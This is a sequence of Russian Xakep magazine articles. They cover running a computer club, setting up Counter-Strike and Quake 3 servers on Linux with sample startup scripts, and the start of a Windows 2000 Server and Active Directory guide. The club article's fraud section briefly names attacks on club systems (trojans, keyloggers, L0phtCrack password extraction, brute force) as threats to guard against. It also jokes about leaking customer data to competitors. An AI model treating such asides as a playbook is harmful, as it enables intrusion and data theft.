В клубе есть дисконтные карты или льготы? Это все тоже нужно занести в программу. Можно ли в твоем клубе сидеть в кредит и кто имеет такое право? И это заносим в базу. Предоставляем ли мы услугу бронирования? Конечно, головной боли от этого прибавится, зато клиенты, живущие далеко, всегда смогут заказать компы, особенно это популярно для ночных тарифов. Только снимать бронь нужно вовремя :). А может быть, у нас есть постоянные клиенты или клубные карты, для которых заводятся отдельные счета, суммы кредитов, именные льготы (скидки или специальные тарифы). И это тоже нужно учесть. Неплохо бы учитывать дополнительные услуги (печать, сканирование, запись инфы на болванку, консультации администратора :)), хотя это есть далеко не везде. А когда начальство будет читать отчеты - вся информация должны быть четкой и наглядной, с возможностью самому составлять необходимые виды отчетности.

Раз в месяц (ну, можно и чаще) грамотный начальник просто обязан читать статистику, из которой можно узнать массу полезных вещей для дальнейшей работы. Например, загрузку клуба в различные часы и дни, расход трафика, самые популярные тарифы, статистку по выручке, данные по клиентам, статистку по сменам персонала (а не пора ли кого-нибудь увольнять :)), статистику по отдельным машинам (может быть, стоит изменить их расположение?) и многое другое. В некоторых клубах пользователям предлагается заполнить анкету о клубе - эти данные могут быть очень полезны, особенно если заполнение стимулировать :): например, расположить анкету на флаере со скидкой. С помощью этой информации можно серьезно оптимизировать работу клуба (а можно слить конкурентам и получить бабла :)). Естественно, что у обычных админов должен быть минимальный доступ ко всем этим функциям. То есть либо заводятся отдельные аккаунты, либо вся работа со статистикой и учетом выполняется в отдельной программе, доступ к которой обычные админы не имеют. Ну и совсем хорошо, если финансовая часть будет отделена от всего остального, поскольку она чаще используется.


Спецвыпуск Xakep, номер #033, стр. 033-012-3, ЧТО НАША ЖИЗНЬ? GAMEZ! Рулим компьютерным клубом

ЧТО НАША ЖИЗНЬ? GAMEZ! Рулим компьютерным клубом

Kirion (kazarian@real.xakep.ru)

Спецвыпуск Xakep, номер #033, стр. 033-012-3

Хорошо бы еще осуществить взаимодействие с нормальной базой данных (sql, естественно, упаси Боже от access :)). Существенно упростится изменение и внесение новой информации (можно даже написать отдельную прогу), составление отчетов (всего-то сделать правильную выборку), упростится взаимодействие различных частей системы (в базе можно хранить еще кучу другой нужной инфы и легко передавать ее - sql и транзакции рулят), а еще можно улучшить модель безопасности - ведь в базе можно хранить и аккаунты всего персонала, а для доступа к базе тоже нужен пароль :).

КУРСЫ ПОВЫШЕНИЯ КВАЛИФИКАЦИИ

Перечитал предыдущий абзац и понял: я уже не могу думать как админ, я думаю как менеджер. Вот что значит один раз влезть в шкуру врага :). Кстати, менеджер клуба - работа намного более веселая, чем администратор. К тому же вполне подходит человеку, который получает высшее образование. Ты студент? Тогда оставь работу админа старшеклассникам :). Ах, ты школьник... Ну, тогда следуй заветам Ильича - учиться, учиться и еще раз учиться :). Как же стать менеджером? Можно, конечно, долго работать в клубе, не воровать и не жульничать, иметь хорошие отзывы... Через годик, может, и станешь, хотя вряд ли. Реальнее стать менеджером в новом клубе, хотя и в этом случае неплохо хотя бы месяц поработать где-нибудь простым админом, причем желательно на той же системе, которая будет стоять в твоем клубе. Так ты лучше узнаешь работу и не дашь простым админам тебя обманывать. Тебе ведь тоже перед начальством нужно отчитываться :). В моем случае дело было так: однажды в клуб зашла этакая бизнес-леди, села в VIP-зону и вскоре начала активно требовать консультаций. Она меня порядком достала, но тут в моей руке оказалась хрустящая бумажка. Люблю таких клиентов, чего для них не сделаешь :). Она заходила еще несколько раз, а потом рассказала, что хочет открыть собственный клуб, но плохо понимает в компьютерах. Вот он, мой звездный час ;). В итоге, правда, менеджером я так и не стал, появились более заманчивые предложения (более того, я даже не знаю, где она открыла клуб), но бизнес-план я честно составил и свои деньги за него получил :). Конечно, такие случаи бывают не часто, но они вполне реальны.

КЛУБ ПОД ПЕРЕКРЕСТНЫМ ОГНЕМ

Итак, представь, что тебе тоже повезло, и скоро откроется твой клуб. Помещение уже есть, компы закуплены, остался только софт. Погоди, а какие оси ты собираешься использовать? Ну, Линух мы можем отмести сразу - мы же игровой клуб делаем. Хотя, в принципе, для интернет-кафе может сгодиться и Линух. Только вот представь себе, как будут материться админы, уставшие объяснять каждому пользователю, куда тыкать мышой :). Винды - это наш выбор. Но какие? Удобнее всего поставить на клиентские тачки WinXP, а сервак сделать на Win2k. Поднимаем Active Directory, домен, NAT (об администрировании Win2k ты можешь прочесть в этом номере), и все пучком. Админам настраиваем достаточно привилегированные аккаунты. А на клиентских тачках обрезаем права по полной: шаг влево, шаг вправо - попытка улететь :). Пароль администратора оставляем себе - не стоит его никому давать, мало ли что. Только вот есть одна проблема: корпоративные версии WinXP (ведь машин много) и Win2k сервер стоят довольно дорого. Ты ухмыляешься? А вот это зря! Очень много клубов были закрыты в первый месяц своего существования, когда к ним по наводке приезжал какой-нибудь ОБЭП. Хочешь ходить по лезвию ножа или постоянно давать взятки - пожалуйста, ставь левые оси. В клубах же, где весь софт куплен легально, чаще увидишь что-нибудь из семейства Win9x и сервак на FreeBSD. Этот вариант, конечно, хуже - настраивать его сложнее. Да и права пользователей придется контролировать через клиент и реестр Виндов (есть в нем кое-какие полезные параметры), но все равно такую защиту можно обойти. Админам придется активно контролировать пользователей, а менеджеру - админов :). Еще есть соблазн поставить проксю, но я хочу удержать тебя от этого шага. Да, инет ты, кончено, сэкономишь, но приобретешь кучу головной боли. Во-первых, очень проблематично обеспечить взаимодействие прокси и системы управления клубом (хотя в некоторых системах есть встроенная прокся). Во-вторых, усложнится настройка машин. Ну и, в-третьих, очень сложно станет настроить некоторые игры на игру в интернете. Главным образом, это игры от Blizzard, использующие Battle.net. С CS и квакой все немного легче, но лагает через проксю обычно дай Боже. Так что возмущения прогеймеров (а обычные игроки редко играют по инету) тебе не избежать. Но на закупке осей дело не заканчивается. Нужен ведь еще и офис, и антивирус (желательно корпоративный). Ну и, конечно же, игры. Их не обязательно покупать на каждый компьютер. Для гамес, в которые играют по интернету на официальных серверах (опять-таки в основном это игры от Blizzard: Diablo, Warcraft, Starcraft), необходимо достаточное число cd-key`ев. Штук десять, обычно, хватает.


Спецвыпуск Xakep, номер #033, стр. 033-012-4, ЧТО НАША ЖИЗНЬ? GAMEZ! Рулим компьютерным клубом

ЧТО НАША ЖИЗНЬ? GAMEZ! Рулим компьютерным клубом

Kirion (kazarian@real.xakep.ru)

Спецвыпуск Xakep, номер #033, стр. 033-012-4

CONTROL THIS SHIT!

Осталась система управления. Вариантов два: или оплачиваем работу программисту, и он пишет систему под наш клуб с учетом его особенностей, или покупаем готовую. На мой взгляд, второй вариант лучше. Ведь пишется это все достаточно долго (кстати, большинство систем написаны на Delphi), а еще нужно тестировать и отлаживать. Согласись, использовать родимый клуб в качестве полигона не очень хорошая идея :). А если мы покупаем систему, то нам ее установят и настроят, и сделают это достаточно быстро. К тому же предоставят техническую поддержку. Да и вообще, чем шире используется система, тем быстрее в ней находят и исправляют баги (представь, что админ случайно нашел дыру и будет ею пользоваться втихую или программист оставил бэкдор), адаптируют под новые оси, железо, добавляют новые фишки и полезные функции (а тебе еще придется искать того кодера или нанимать его на работу). Нет предела совершенству! Да и по деньгам получается очень выгодно: использование готовой системы всегда обходится дешевле, чем написание новой, жаль только, начальство это не всегда понимает :). Посуди сам, закупка такой известной и популярной в московских клубах системы, как Astalavista, обойдется всего в десять баксов за машину. А функций в ней - вагон и маленькая тележка. К тому же скоро выйдет новая версия, в которой обещают новую концепцию и множество обновлений: от интегрирования с системой видеонаблюдения до поддержки специальных карт. Сам ты такое писать будешь очень долго :). Хотя, если организация солидная и с деньгами проблем нет, можно и заказать написание своей системы (в крупных клубах, например, в NetLand, стоит своя система). Тем более что потом можно ее и продавать самому :).


Спецвыпуск Xakep, номер #033, стр. 033-012-5, ЧТО НАША ЖИЗНЬ? GAMEZ! Рулим компьютерным клубом

ЧТО НАША ЖИЗНЬ? GAMEZ! Рулим компьютерным клубом

Kirion (kazarian@real.xakep.ru)

Спецвыпуск Xakep, номер #033, стр. 033-012-5

ОСЯ И КИСА БЫЛИ ЗДЕСЬ

Ну вот, работа клуба вроде налажена, приготовься к длительной и затяжной борьбе с посетителями и админами :). Способов мошенничества очень много - Остапы в нашей стране еще не перевелись. Я расскажу лишь о самых уязвимых местах.

Мошенничество пользователей особенно много вреда не принесет. Если, конечно, они не будут постоянно переть мыши и наушники. Кстати, против этого у меня есть пара неплохих мыслей. Например, сделать гардероб и обязательную сдачу вещей. Если клиенты страдают клептоманией, должно окупиться :).

Админы - другое дело. Самое паршивое, что из-за нечистых на руку администраторов страдают другие админы, особенно новички. Тертый мошенник никогда не останется с недостачей, а вот повесить ее на другого - легко. Да и пользователи могут от них страдать. Распространенный способ - вносить времени меньше, чем заплатил клиент. Причем чем больше он взял времени, тем на большую сумму его можно обмануть, особенно если к кассе подскочил взмыленный подросток с зажатыми в кулаке деньгами, заплатил и побежал обратно играть в контру. Точно так же и с трафиком. Тщательнее проверяй статистику - если большинство пользователей вдруг стало брать неровное количество часов (например, час и сорок пять минут), то, скорее всего, админ тырит время - юзеры часы не делят.

Еще неплохой способ для заработка - это различные категории халявщиков. Деньги админ берет по полной, а сажает, например, как члена команды клуба. Опять-таки в статистике такие вещи можно обнаружить. Далее - платная консультация клиентов. Не знаю, как к этому относиться. С одной стороны, это, конечно, свинство, а с другой - часто бывают клиенты, на которых тратишь очень много времени абсолютно без толку. Ну и еще лазейка - это предоставление дополнительных услуг - вроде печати. Они редко проводятся через систему, соответственно есть поле для заработка. Кстати, чем реже ты находишься на работе, тем ленивее и наглее становятся админы. Кто-то старший должен быть в клубе большую часть времени. Это должен быть либо сам менеджер, либо его доверенный человек. Не забывай, что систему можно и взломать. Ты снимаешь статистику с компа, к которому имеют доступ админы? Я бы поставил троян или кейлогер. Пароль администратора на компьютерах такой же, как и в системе? Это то, что я проверил бы в первую очередь. Тем более что получить его под локальной системой не так уж и сложно (вспомни тот же L0pht Crack). Да и брутфорс еще никто не отменял. Чем больше ты учтешь таких моментов, тем меньше неожиданностей будет потом.


Спецвыпуск Xakep, номер #033, стр. 033-012-6, ЧТО НАША ЖИЗНЬ? GAMEZ! Рулим компьютерным клубом

ЧТО НАША ЖИЗНЬ? GAMEZ! Рулим компьютерным клубом

Kirion (kazarian@real.xakep.ru)

Спецвыпуск Xakep, номер #033, стр. 033-012-6

А еще совет: веди себя с персоналом по-человечески, тогда, может, никто и не будет испытывать судьбу :).


Спецвыпуск Xakep, номер #033, стр. 033-018-1, ИГРАЕМ НЕ ПО-ДЕТСКИ. Практика установки игровых серверов под Линь

ИГРАЕМ НЕ ПО-ДЕТСКИ. Практика установки игровых серверов под Линь

Ушаков Андрей aka A-nd-Y

Спецвыпуск Xakep, номер #033, стр. 033-018-1

(Andy_@timus.ru)

"Зачем ставить игровой сервер именно на никсы, и в частности, на Линух?" - спросишь ты. Ведь традиционно игровой осью считается именно Винда, а никак не никс. Но и игровой сервер - это не совсем игра. Гама является для него лишь клиентом.

В данном случае требования к оси и железу несколько отличаются от требований клиентской части, ведь сервер выполняет иные задачи, нежели клиент, а именно: позволяет игрокам взаимодействовать друг с другом при определенных смоделированных условиях, например, на определенной карте, и следить за ними. Серваку для этого не надо обсчитывать тяжеленную графику, а игроку не надо учиться работать с пингвином - виндовый клиент и никсовый сервер прекрасно общаются друг с другом по фирменному игровому протоколу.

ПОЧЕМУ ЛИНЬ?

Итак, почему же все-таки именно Линух, а не Винда? Причин может быть минимум три:

1. У тебя уже есть тачка под Линухом, которая выполняет функции ftp или веб-сервера, да и загружена она далеко не полностью, а для игр ставить второй комп накладно.

2. Линь более надежен. Даже если твой игровой сервак по какой-либо причине упадет, он не утащит за собой всю ось, что запросто может произойти в Виндах, и ты сможешь удаленно поднять его обратно, не бегая к компу с большим ресетом :).

3. Тебе не нужно будет беспокоиться о законности используемого софта, о лицензиях и т.п. Линукс - свободная ось, многие ее дистрибутивы распространяются бесплатно. И не надо орать, что в нашей пиратской стране - это не актуально! Для компьютерного клуба это еще как актуально! А покупать лицензии на Винду у дяди Билла за немалую сумму зеленых - это облом, а тут все абсолютно чисто, да и качество на уровне.

Сразу отмечу, что пока далеко не все дистрибутивы игровых серверов существуют под Линукс, поэтому иногда альтернативы Виндам может и не оказаться, но ситуация постоянно меняется в лучшую сторону.

Я не буду говорить о такой вещи, как безопасность nix* систем - вопрос довольно спорный, многое зависит от дырок самого игрового сервака, мастерства кул хакера, ну и от твоей головы, конечно. Практика показывает, что часто никсы настроены так, что сломать их не составляет особого труда, и дело тут именно в админе, а не в самой оси. Хотя немаловажную роль здесь сыграли юзерориентированные дистрибутивы, где о "secure by default", похоже, забыли.

ВО ЧТО ИГРАЮТ?

Если ты заядлый геймер или админ компьютерного клуба, то тебе нет смысла рассказывать, во что сейчас играют больше всего, но если ты только решил поставить пару игровых серваков в локалке или заняться организацией собственного клуба, кратко напомню несколько самых популярных сетевых игрушек на данный момент. Counter-Strike, Quake 3, Diablo, Warkraft, Ultima Online, Unreal Tournament, Soldier of Fortune, etc. Сервера части из этих игрушек доступны и под Линухом.

Уверен, что, установив сервера для этих игр, ты обеспечишь популярность своему клубу или локальному серваку.

МЕТАЛЛОЛОМ

Ты, конечно же, спросишь, какое железо понадобится для игрового сервера. Тут все пропорционально нагрузке на него. Если ты планируешь просто поиграть со своими друзьями по локалке и максимальное количество юзеров ограничивается 5-7, то тебе хватит тачки с процем ~ 300 МГц и оперативкой 128 мег (хотя один мой знакомый говорил, что сотый пень вполне сносно тянул CS сервак при 5 игроках). Если же игроков планируется больше, то оптимально будет решение на процессоре 800-1000 МГц и 256 оперативки (лучше DDR). Многие также рекомендуют использовать процессоры от AMD серии XP в сочетании с DDR памятью. А вообще, здесь можно руководствоваться принципом: чем больше, тем лучше, особенно, если есть перспектива роста числа играющих на твоем сервере. Ну и не стоит забывать о наличии надежных каналов связи. Вовремя подумав о железе, ты в дальнейшем избавишься от жалоб игроков на тормоза и зависания.


Спецвыпуск Xakep, номер #033, стр. 033-018-2, ИГРАЕМ НЕ ПО-ДЕТСКИ. Практика установки игровых серверов под Линь

ИГРАЕМ НЕ ПО-ДЕТСКИ. Практика установки игровых серверов под Линь

Ушаков Андрей aka A-nd-Y

Спецвыпуск Xakep, номер #033, стр. 033-018-2

ПОДГОТОВКА

Перед установкой сервера рекомендую тебе сделать некоторые приготовления в системе, а именно - создать отдельную директорию для каждого игрового сервака, а также завести несколько отдельных юзеров, под которыми ты будешь их запускать.

Почему нужен отдельный юзер? Это вопрос безопасности системы. Если сервер попытаются хакнуть, то злоумышленник получит права только того юзера, от имени которого запущен сервант. Думаю, ты догадаешься, что будет, если сервер запущен под рутом.

Ну и вторая причина - стабильность системы: могут произойти различные аварийные ситуации, при которых есть вероятность непредвиденного повреждения каких-либо файлов, в том числе и системных (случаи с полным обнулением довольно важных конфигов при непредвиденных ребутах уже случались в моей практике). В нашем же случае мы уменьшим вероятность таких ситуаций, ведь возможные повреждения, вызванные самим сервером, останутся только в рамках прав отведенного юзера и не затронут чужие файлы.

COUNTER-STRIKE

Одна из самых популярных игрушек на данный момент. Ее сервер есть и под Линух. Напомню, что сервер Counter-strike - это надстройка для сервера Half-Life, поэтому сначала тебе придется установить сервер Half-Life (hlds - Half-Life dedicated server), а на него уже - Counter-strike сервер (Counter-strike dedicated server).

Сливаем hlds_l3110.tar.gz по линке: http://server.counter-strike.net/filecentral/pafiledb.php?action=file&id=29 (весит это чудо 116.3 мега) и CSDS по линке: http://www.counter-strike.net/linux_full.html (весит тоже немало - 107 мегов).

Теперь поставим HLDS. Я отмечу лишь наиболее важные пункты установки - на сайте http://www.madeagle.ru есть подробнейшие руководства по установке CS и HL серверов на русском языке, поэтому нет смысла их повторять полностью, да и мелочей, которые нужно учесть, слишком много, чтобы уместить в одну статью.

Дистрибутив HLDS копируем в созданную для него директорию и распаковываем архив:

tar -xzvf hlds_l3110.tar.gz

В нашей директории появится папка hlds_l, в которой и будут находиться все файлы игрового сервера. Далее распакуем архив с сервером CS в директорию hlds_l - в hlds_l появится дира cstrike. Итак, тут у нас валяются различные файлы, кратко поясню назначения некоторых из них.


Спецвыпуск Xakep, номер #033, стр. 033-018-3, ИГРАЕМ НЕ ПО-ДЕТСКИ. Практика установки игровых серверов под Линь

ИГРАЕМ НЕ ПО-ДЕТСКИ. Практика установки игровых серверов под Линь

Ушаков Андрей aka A-nd-Y

Спецвыпуск Xakep, номер #033, стр. 033-018-3

hlds_l/cstrike/server.cfg - собственно главный конфиг сервака, здесь задаются основные параметры его работы. Все доступные переменные можно посмотреть на сайте сервера по линке: http://server.counter-strike.net/commands.html.

hlds_l/cstrike/motd.txt (motd - message of the day) - файл содержит текст сообщений, которые будут выводиться на экран при подключении к серверу. Сюда пиши все, что считаешь нужным сообщить своим посетителям.

hlds_l/cstrike/mapcycle.txt - конфиг для используемых карт на сервере.

Каталог hlds_l/cstrike/maps/ - содержит файлы карт сервера.

С конфигами, надеюсь, ты разберешься. Сейчас нужно создать скрипт запуска твоего сервера со следующим содержанием:

#!/bin/sh

GAMESDIR=/home/game

export GAMESDIR

LD_LIBRARY_PATH=$GAMESDIR/hl/hlds_l:$LD_LIBRARY_PATH

export LD_LIBRARY_PATH

hlds_run -game cstrike +ip 212.23.95.152 +maxplayers 10 +map cs_estate

Здесь -game cstrike задает, что играть будем именно в CS (надстройки для HL есть и другие), +ip host задает ip твоего сервака, +maxplayers 10 - максимальное количество игроков, +map XXXX - выбранную карту XXXX.

Не забудь задать права на исполнение для созданного скрипта. Скрипт можно было и не создавать, но тебе бы пришлось вводить все эти команды вручную постоянно при каждом новом запуске сервера.

Надеюсь, что ты не забыл, что все эти действия нужно производить из-под созданного тобой для этой цели юзера. Осталось запустить сервер. Если никаких ошибок не выдано, то считай, что все встало удачно.

Сейчас твоя задача - более тонкая настройка сервера, которая будет происходить уже в ходе работы сервера и при возникновении конкретных ситуаций.

Quake 3 Arena

Тоже далеко не последняя игрушка в рейтингах популярности. Тянем дистрибутив сервака по линке: ftp.netis.ru/pub/software/quake/quake3/linux/linuxq3ded-1.27g-beta1.tar.gz. Установка сервера q3 не составляет особого труда, если ты хоть в какой-то степени знаком с *nix системами. Сервер поставляется в виде бинарника, поэтому компилить ничего не нужно.

Создадим директорию под названием, например, q3 и вложенную в нее директорию baseq3:

mkdir -p $GAMESDIR/q3/baseq3.

Далее распакуем бинарник сервака в директорию Q3:

tar -xzf linuxq3ded-1.27g-beta1.tar.gz.

После чего находим дистрибутив с игрушкой Quake 3 и копируем из него файлы Pak0.pk3, Pak1.pk3, Pak2.pk3, Pak3.pk3, Pak4.pk3 в корневую директорию нашего сервера (q3). Далее запускаем файл сервера:

sh filename

После этого в директории появятся некоторые файлы, главный конфиг - config.cfg - будет находиться в директории baseq3. Приведу некоторые параметры настройки сервера:

set g_gametype 0 - устанавливает тип игры, 0 - разрешено для всех;

set fraglimit 0 - количество фрагов;

set timelimit XX - устанавливает продолжительность игры, где XX - время в минутах;

set sv_maxclients XX - задает максимальное количество игроков, XX - число игроков;

set server servername - задает имя сервера servername;

set g_motd "motd" :) - сообщения перед началом игры;

set rconpassword "pass" - собственно админский пасс на rcon;


Спецвыпуск Xakep, номер #033, стр. 033-018-4, ИГРАЕМ НЕ ПО-ДЕТСКИ. Практика установки игровых серверов под Линь

ИГРАЕМ НЕ ПО-ДЕТСКИ. Практика установки игровых серверов под Линь

Ушаков Андрей aka A-nd-Y

Спецвыпуск Xakep, номер #033, стр. 033-018-4

set bot_enable 1 - включаем ботов;

addbot uriel 3 100 - добавляем бота и задаем его параметры, вписывай аналогичную строку для каждого бота;

set "Administrator" "adm-name", set "Email" "adm@mail, set "URL" "http://q-admin.com", set "Location" "server-info", set "CPU" "hw-info" - устанавливает инфу о серваке и его админе.

Это лишь малая часть параметров из конфига Q3, но, думаю, проблем с его правкой у тебя возникнуть не должно. А вообще, можешь поискать готовый конфиг в Инете. Теперь можно запускать сервер командой:

./q3ded +set dedicated 1 +set +exec config.cfg

если ты находишься в директории Q3, куда мы установили сервер. Для упрощения жизни и избавления от ввода огромных команд рекомендую вписать команду в скрипт с приятным названием, например, q3start.

Создай текстовый файл следующего содержания (воспользуемся программой cat):

$ cat > q3start

#!/bin/sh

GAMESDIR=/home/game

export GAMESDIR

$GAMESDIR/q3/q3ded +set dedicated 1 +exec config.cfg

где +set dedicated 1 - указывает тип запуска сервера, +exec config.cfg - указывает тот конфиг, который следует использовать.

Нажми "Ctrl + C" для завершения ввода. Далее назначай права на исполнение для твоего скрипта:

chmod +x q3start

После этого ты сможешь запускать сервер простой командой из каталога сервера:

./q3start

Удобства на лицо :). Если ошибок при запуске не возникло, то могу тебя поздравить, сервер работает. Если что-то не так, проверь конфиг еще раз. Как правило, многие проблемы скрываются именно в ошибках конфига.

SCREEN ИЛИ BACKGROUND?

При запуске сервака, в частности, CS, ты, наверное, обратил внимание, что работает он только пока открыт терминал, в котором ты отдал команду на запуск сервера, при закрытии же терминала процесс сервера прекращается. Здесь нет ничего удивительного - терминал при завершении своей работы убивает все дочерние процессы. Поступить в данной ситуации можно следующим образом:

Первый способ - использовать так называемый screen. Screen - специальный экранный менеджер с эмуляцией терминала, который позволяет сохранять сессию, то есть все процессы, которые ты запустил в нем, и при последующем подключении продолжить работу с запущенными приложениями. Это может быть удобно, если ты админишь сервак удаленно и время от времени подключаешься к нему, чтобы отдать важные админские команды.

Скачать screen (если его нет в твоем дистрибутиве) можно по ссылке: http://www.gnu.org/software/screen/screen.html Там же ты найдешь и документацию к нему.

Пример использования:

screen -A -d -m -S Mysession command - запускаем команду command в screen, где опция -A - подгоняет размер окон под размер текущего терминала, -m -d - запускает новую сессию в detatch режиме (рекомендуется для стартовых скриптов), -S Mysession - задает имя для данной сессии.

screen -r Mysession - возобновляем сессию Mysession в screen.

screen -list - показать процессы, запущенные под screen'ом.

Ну и второй способ - можно запустить сервант в фоновом режиме, добавив в конец команды запуска амперсанд (&). Таким образом, ты переведешь его в фоновый режим (background), но в то же время потеряешь доступ к консоли управления сервером. Поэтому тебе придется позаботиться об установке дополнительных утилит администрирования. Выбирай сам, какой способ для тебя удобнее.


Спецвыпуск Xakep, номер #033, стр. 033-018-5, ИГРАЕМ НЕ ПО-ДЕТСКИ. Практика установки игровых серверов под Линь

ИГРАЕМ НЕ ПО-ДЕТСКИ. Практика установки игровых серверов под Линь

Ушаков Андрей aka A-nd-Y

Спецвыпуск Xakep, номер #033, стр. 033-018-5

АДМИНИМ

Если твой сервер уже настроен, то он практически не потребует от тебя особого внимания, проблемы возникнут при администрировании сервера для (или против :)) конечного пользователя.

Среди твоих задач будут смена карт, контроль доступа участников, резервирование слотов, слежение за порядком, ведь геймеры бывают разные, есть и такие, которые не прочь попортить жизнь другим. Об этом стоит задуматься сразу, тем более, если ты ставишь сервак в клубе. Оперативные и брутальные меры против читеров только прибавят уважения тебе и твоему клубу.

Тебе будут доступны различные средства администрирования. Практически у каждой игры есть так называемая консоль (RCON), которая позволяет управлять работой сервера с помощью текстовых команд, но существуют и утилиты, призванные упростить задачи администрирования.

Доступные команды rcon можно найти в руководстве для каждого сервера. Для администрирования CS сервера можешь попробовать HL Admin Mod, AmxMod, hlmonitor. Их установка вполне стандартна и прекрасно описывается в соответствующих README файлах, так что не буду на этом останавливаться.

Для Quake 3 попробуй The-All-Seeing Eye и Server Watch.

ЧТО ЕСТЬ ЕЩЕ?

Под Линуксом можно запустить также серваки следующих игр:

Neverwinter Nights (http://www.3dgamers.com/games/neverwinternights/#filelist);

Elite Force (http://www.3dgamers.com/games/stveliteforce/#filelist);

Battlefield (http://www.3dgamers.com/games/battlefield1942/);

Unreal Tournament (http://www.3dgamers.com/games/unrealtourn2/#filelist);

Return to Castle Wolfenstein (http://www.wolfensteinx.com/dl.php?file=wolflinux);

Star Wars Jedi Knight II (http://www.hub.ru/modules.php?name=Downloads&d_op=getit&lid=25).

Их установка во многом сходна с описанной установкой серверов CS и Q3 и сводится, по большей части, к копированию файлов в директорию сервера и написанию конфига, поэтому повторяться нет смысла. Особенности для каждого сервера прекрасно описаны на сайтах производителей и в документации, идущей с самим сервером.

Вот ты и узнал, что минимально следует учесть при установке игрового сервера под Линуксом. Самим фактом выбора Линуха как платформы для игрового сервака ты уже заслужил большой респект. Удачи тебе на пути продвинутого game-админа :).


Спецвыпуск Xakep, номер #033, стр. 033-022-1, Win2kServ - Дорога в AD

Win2kServ - Дорога в AD

Frozen (frozen@real.xakep.ru)

Спецвыпуск Xakep, номер #033, стр. 033-022-1

Ставим и настраиваем Win2k Server в локальной сети

Лень - двигатель прогресса, и я в этом абсолютно уверен, иначе зачем было придумывать такую, хоть и заумную, но очень облегчающую жизнь штукуевину, как компьютер?

А ты посмотри вокруг - эти железки заполняют практически все свободное пространство, к тому же с наращиванием производительной мощи :) додумались объединить весь информационно-перерабатывающий механизм в огромные мегасети. Вон, я погляжу, и к твоему железному другу тянется проводок, и весело подмигивает диодик, радостно говоря о том, что битики и байтики с огромной скоростью вливаются в железный организм на переработку. Но с такими темпами развития сетевых организмов встал и другой вопрос, а как, собственно, всем этим управлять? Не, ну понятно, можно вручную установить и настроить 1-2-3-4 компа, но когда приходится иметь дело с достаточным количеством машин, человек, за это отвечающий (читай админ :), имеет нехилые проблемы, и встает очередной вопрос, как можно упростить себе жизнь... В общем-то, об этом я и собрался тебе сегодня рассказать.

Что за зверь Win2kServer?

Вообще, название говорит само за себя - это очередная "супербезопасная" серверная ось от компании Microsoft. Сейчас мы с тобой как раз и разберемся, как же установить и настроить это чудо, но для начала давай определимся с дистрибутивом. Их существует аж 3 штуки, главным отличием между которыми являются цена и количество поддерживаемых процессоров/памяти/кластеризации. Если у тебя <= 4х процессоров и 4 Гб памяти, то я предлагаю тебе остановить свой взгляд на самом скромном варианте - коробочке с надписью Windows 2000 Server без всяких артефактов в виде приставок Advanсed или Datacenter. Выбирая русскую версию, ты избавляешься от проблем с поиском дистриба (парадокс, но найти Eng версию сервера на прилавках было достаточно трудно), да и потом легче будет освоить, если все хелпы в системе сделаны на великом и могучем. Итак, с дистрибом разобрались, теперь давай посмотрим, что же предлагается для упрощения нелегкой админской жизни. В состав системы входят такие службы, как DNS, DHCP, FTP, HTTP и мегавещь - Active Directory (дальше для упрощения я буду писать AD).

AD и все-все-все

AD (или "служба каталогов" по-русски) - это огромное хранилище, которое может хранить разную информацию о пользователях, компьютерах, принтерах и вообще еще много всего; это основное, что нам понадобится для дальнейшей работы. Каждая единица, хранящаяся в AD, называется объектом, причем служба также хранит и информацию о самом объекте и его свойствах, и называется это атрибуты объекта. Для доступа к службе существует специальный протокол LDAP (Lightweight Directory Access Protocol - простой протокол доступа к каталогам), который и определяет способы доступа и обращения между клиентом и сервером AD. Здесь для каждого объекта есть его собственное особенное имя, с помощью которого и можно различать, что перед нами находится, данные о пользователе или же компе. Причем это имя помогает найти путь в AD, где этот объект лежит. У имени есть две основных части - CN (common name - общее имя) и DC (domain component - доменный компонент). CN показывает на объект или место, где он лежит, а DC говорит о домене, к которому относится объект. Вот, например, имя CN=Vasilii,CN=Guests,CN=Accounts,DC=subdomain,DC=domain,DC=yes говорит о том, что пользователь Василий лежит в контейнере гостей, который, в свою очередь, лежит в контейнере аккаунты, и все это относится к домену subdomain, причем он является поддоменом domain, входящим в домен yes %). Вот так все запутано, но на деле выглядит гораздо проще и понятнее, о чем мы поговорим дальше. А в глобальном смысле AD делится на леса, деревья, домены и OU (Organization Unit - организационная единица), то есть полная аналогия с реальной природой, где домены представляются ветками, объединение доменов - дерево и скопище деревьев - лес. Но это обычно требуется в больших организациях, нам же хватит и одного домена, который по совместительству будет являться и деревом, и лесом :). Короче говоря, хватит лирической теории, будем осваивать все это дело на практике.


Спецвыпуск Xakep, номер #033, стр. 033-022-2, Win2kServ - Дорога в AD

Win2kServ - Дорога в AD

Frozen (frozen@real.xakep.ru)

Спецвыпуск Xakep, номер #033, стр. 033-022-2

Установка сервера

Если ты приобрел загрузочный диск, то просто вставляй его в ЦэДэРОМ и следуй появляющимся инструкциям, благо процесс установки не сильно изменился со времен MS-DOS. Если же нет, то топай в папочку I386 и вводи winnt, после чего опять же на экране появятся привычные буковки. Обычно единственное, что от тебя требуется, - это настройка всяких параметров, относящихся к выбору страны, часового пояса да ввода имени компа и задания админского пароля (который я советую тебе старательно запомнить - без него ты просто не попадешь в систему). Для нашего примера я буду использовать в качестве имени компьютера SERVER-PDC. После успешной установки и загрузки только что установленных виндов появится табличка, советующая нажать Ctrl-Alt-Del, делай распальцовку - не бойся - это сделано для повышения "безопасности". Ну и дальше просто логинишься админом, и перед тобой возникает рабочий стол примерно следующего вида (я уже поставил все драйвера для устройств):

То есть запускается что-то похожее на мастер, который по идее должен был бы упростить настройку сервера, однако на деле получается странная вещь - ты не можешь установить Active Directory, пока не установишь DNS-сервер, который предлагается установить автоматически, но для инсталла у тебя должен быть пароль, который ты получишь только после установки AD, - замкнутый круг выходит. Да и потом, настраивая все вручную, ты будешь полностью уверен в настройках, ведь сам знаешь - полагаться на defaults, предлагаемые дядей Билли, это смешно.

Корни сервера, настройка DNS

